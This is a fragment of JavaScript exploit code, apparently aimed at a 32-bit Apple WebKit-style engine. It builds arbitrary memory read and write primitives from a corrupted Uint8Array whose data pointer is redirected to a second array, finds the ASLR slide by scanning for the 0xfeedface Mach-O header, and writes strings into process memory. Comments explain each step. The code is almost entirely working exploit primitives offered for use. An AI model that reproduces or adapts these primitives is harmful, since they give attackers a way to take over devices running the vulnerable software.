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var VECTOR_OFFSET = 0x10;
/*
* read uint8_t
*/
function read_u8(addy) {
u8x4 = u32_to_u8x4(addy);
/*
* `parent` is a Uint8Array of length 0x100.
* `child` is also a Uint8Array of length 0x100.
* `parent`'s `vector`, its pointer to where its data is stored, has been
* modified to point to the `child` object in memory.
* as such, accessing `parent` will allow for modifying the `child` object.
*
* the way this is used is by writing to `child`'s `vector` so it points to
* arbitrary memory. then, we can access `child`, and we now have arbitrary
* r/w
*/
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return child[0];
}
/*
* read uint16_t
*/
function read_u16(addy) {
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return u8x2_to_u16(child);
}
/*
* read uint32_t
*/
function read_u32(addy) {
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return u8x4_to_u32(child);
}
/*
* read a buffer
*/
function read_buf(addy, len) {
var buf = new Uint8Array(len);
for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
buf[cur_addy - addy] = read_u8(cur_addy);
}
return buf;
}
/*
* write a buffer
*/
function write_buf(addy, buf, len) {
for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
write_u8(cur_addy, buf[cur_addy - addy]);
}
return buf;
}
/*
* write uint8_t
*/
function write_u8(addy, what) {
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
child[0] = what;
}
/*
* write uint16_t
*/
function write_u16(addy, what) {
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
u8x2 = u16_to_u8x2(what);
child[0] = u8x2[0];
child[1] = u8x2[1];
}
/*
* write uint32_t
*/
function write_u32(addy, what) {
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
u8x4 = u32_to_u8x4(what);
child[0] = u8x4[0];
child[1] = u8x4[1];
child[2] = u8x4[2];
child[3] = u8x4[3];
}
/*
* get process slide
*/
function get_our_slide() {
for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
return slide;
}
}
}
function write_str(addy, s) {
for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
}
return s;
}
var global_sptr_addy = 0x150000;
function sptr(s) {
write_str(global_sptr_addy, s);
global_sptr_addy += s.length;
return global_sptr_addy - s.length;
}
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